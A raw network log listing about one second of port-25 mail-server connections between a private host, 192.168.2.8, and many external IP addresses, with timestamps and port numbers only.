Aug 24, 2023 19:03:58.512228966 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512242079 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512254953 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512268066 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512280941 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512293100 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512377977 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512398958 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512418985 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.512438059 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.528083086 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.529978037 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.530242920 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.549072027 CEST	25	50489	216.71.133.57	192.168.2.8
Aug 24, 2023 19:03:58.553972006 CEST	50479	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:58.554445982 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554516077 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554516077 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554516077 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554516077 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554516077 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554542065 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554559946 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554573059 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554590940 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.554606915 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.556754112 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.557030916 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.559242010 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.559490919 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.560776949 CEST	25	50482	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:58.569556952 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.575504065 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.575553894 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.582247972 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.582815886 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.583180904 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.584719896 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.584850073 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.602855921 CEST	25	50489	216.71.133.57	192.168.2.8
Aug 24, 2023 19:03:58.603116035 CEST	50489	25	192.168.2.8	216.71.133.57
Aug 24, 2023 19:03:58.603230000 CEST	25	50489	216.71.133.57	192.168.2.8
Aug 24, 2023 19:03:58.603308916 CEST	50489	25	192.168.2.8	216.71.133.57
Aug 24, 2023 19:03:58.605701923 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.606288910 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.606848001 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.606878996 CEST	25	50493	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:58.607058048 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.607099056 CEST	50493	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:58.607897997 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.607988119 CEST	50480	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.609631062 CEST	25	50474	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.609915018 CEST	50474	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.610908031 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:58.616424084 CEST	50465	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:58.655071974 CEST	50497	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.659010887 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.659288883 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.664766073 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.665034056 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.669414997 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.680387020 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:58.684561968 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.684720993 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.715998888 CEST	25	50479	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:58.716053009 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.716305971 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.716365099 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.716440916 CEST	50487	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.718070984 CEST	25	50489	216.71.133.57	192.168.2.8
Aug 24, 2023 19:03:58.719594002 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:58.720153093 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.720273972 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.738137007 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.749206066 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.753643036 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:58.753793001 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:58.760701895 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:58.760828018 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:58.769874096 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.772769928 CEST	25	50486	40.93.207.7	192.168.2.8
Aug 24, 2023 19:03:58.772877932 CEST	50486	25	192.168.2.8	40.93.207.7
Aug 24, 2023 19:03:58.773247004 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.773394108 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.774925947 CEST	25	50465	139.173.84.185	192.168.2.8
Aug 24, 2023 19:03:58.777777910 CEST	25	50480	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.783051014 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.783188105 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.788378000 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.790410995 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.790637970 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.809910059 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.811861038 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.811997890 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.812119961 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.812192917 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.836782932 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:58.836987972 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:58.837743044 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:58.838848114 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.838995934 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.843791008 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.849287987 CEST	25	50487	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.849895000 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:58.855038881 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.855086088 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.855273962 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.860291958 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.862732887 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.862886906 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.864492893 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:58.865220070 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:58.865253925 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:58.865344048 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:58.865377903 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:58.877825975 CEST	25	50493	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:58.877921104 CEST	50493	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:58.878068924 CEST	50493	25	192.168.2.8	51.81.61.70
Aug 24, 2023 19:03:58.879504919 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:58.882601023 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882601976 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882663965 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882663965 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882720947 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882731915 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882760048 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882781029 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882819891 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.882953882 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.883011103 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.890417099 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.897402048 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.897689104 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.902021885 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.910732985 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.911510944 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:58.916791916 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:58.918471098 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:58.920604944 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.921358109 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.921394110 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:58.921555996 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:58.925594091 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:58.925818920 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:58.948508978 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.948753119 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.956831932 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.956897974 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.957199097 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.958554029 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.958616018 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:58.958867073 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:58.961574078 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.961760998 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.966501951 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.979008913 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:58.979237080 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:58.979824066 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:58.980113983 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:58.984308958 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:58.984565973 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:58.986294031 CEST	25	50493	51.81.61.70	192.168.2.8
Aug 24, 2023 19:03:58.991283894 CEST	25	50497	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:58.991965055 CEST	50497	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:58.992019892 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:58.992471933 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:58.992605925 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992646933 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992667913 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992697954 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992760897 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992760897 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992794991 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992825985 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992852926 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992887974 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.992933035 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:58.999380112 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:58.999643087 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.001318932 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007671118 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007726908 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007726908 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.007726908 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.015207052 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.015388012 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.015692949 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.020420074 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.022552013 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.023046970 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.029561043 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.029598951 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:59.029881954 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.029992104 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:59.033169985 CEST	25	50475	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.033467054 CEST	50475	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.045207024 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.048226118 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.048260927 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:59.048350096 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:59.049048901 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.049297094 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.049325943 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.051127911 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:59.051279068 CEST	50334	25	192.168.2.8	195.176.194.32
Aug 24, 2023 19:03:59.051306009 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.051491976 CEST	50505	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.052654028 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.052889109 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.052896023 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.052973032 CEST	50494	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:59.057672024 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.057928085 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.067199945 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:59.067533970 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:59.069520950 CEST	25	50466	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.069772959 CEST	50466	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.071105957 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.071403980 CEST	50495	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.076088905 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.078533888 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.078571081 CEST	25	50505	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.078669071 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.080310106 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.080507040 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.084589958 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.085053921 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.086150885 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.088002920 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.088210106 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.100306034 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.100347996 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.100372076 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.100625038 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.100677967 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.100833893 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.105808973 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.106086969 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.112307072 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.114464045 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.114747047 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.116723061 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.116949081 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.117131948 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.117266893 CEST	50507	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.127979040 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.128309965 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.129101992 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.129313946 CEST	50498	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.140289068 CEST	25	50491	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:59.140444994 CEST	50491	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:59.142761946 CEST	25	50507	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.143944979 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.155132055 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.156393051 CEST	25	50500	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.156712055 CEST	50500	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.156738043 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.156882048 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.164709091 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:59.169450045 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.183306932 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.183507919 CEST	25	50494	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:59.186232090 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.186542034 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.188386917 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.188533068 CEST	50509	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:59.194483042 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.194540024 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.194916964 CEST	49883	25	192.168.2.8	129.159.122.98
Aug 24, 2023 19:03:59.195580959 CEST	50501	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.199366093 CEST	25	50506	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.199862003 CEST	50506	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.200373888 CEST	25	50483	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:59.200499058 CEST	50483	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:59.205317974 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:59.207309008 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207346916 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207367897 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207387924 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207406044 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207427025 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207444906 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207595110 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207613945 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207633018 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.207674026 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.209686041 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:59.210076094 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:59.213069916 CEST	25	50509	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:59.214248896 CEST	25	50499	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.214458942 CEST	50499	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.217508078 CEST	25	50508	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.217596054 CEST	25	50496	52.101.40.6	192.168.2.8
Aug 24, 2023 19:03:59.217658997 CEST	50508	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.217861891 CEST	50496	25	192.168.2.8	52.101.40.6
Aug 24, 2023 19:03:59.225922108 CEST	50479	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:59.227273941 CEST	25	50495	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.231874943 CEST	25	50502	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:59.232006073 CEST	50502	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:59.234733105 CEST	50511	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.236073017 CEST	25	50503	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:59.236393929 CEST	50503	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:59.251168013 CEST	25	50504	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:59.252852917 CEST	50504	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:59.264295101 CEST	50512	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:59.285363913 CEST	25	50510	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.285635948 CEST	50510	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:59.285943985 CEST	25	50498	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.288392067 CEST	50465	25	192.168.2.8	139.173.84.185
Aug 24, 2023 19:03:59.288502932 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288566113 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288580894 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288619041 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288636923 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288660049 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288681030 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288700104 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288769007 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288796902 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.288808107 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.289064884 CEST	25	50497	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:59.289177895 CEST	50497	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:59.307358027 CEST	50513	25	192.168.2.8	67.231.158.157
Aug 24, 2023 19:03:59.311331987 CEST	25	49883	129.159.122.98	192.168.2.8
Aug 24, 2023 19:03:59.312014103 CEST	25	50501	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:59.312200069 CEST	50514	25	192.168.2.8	104.47.73.161
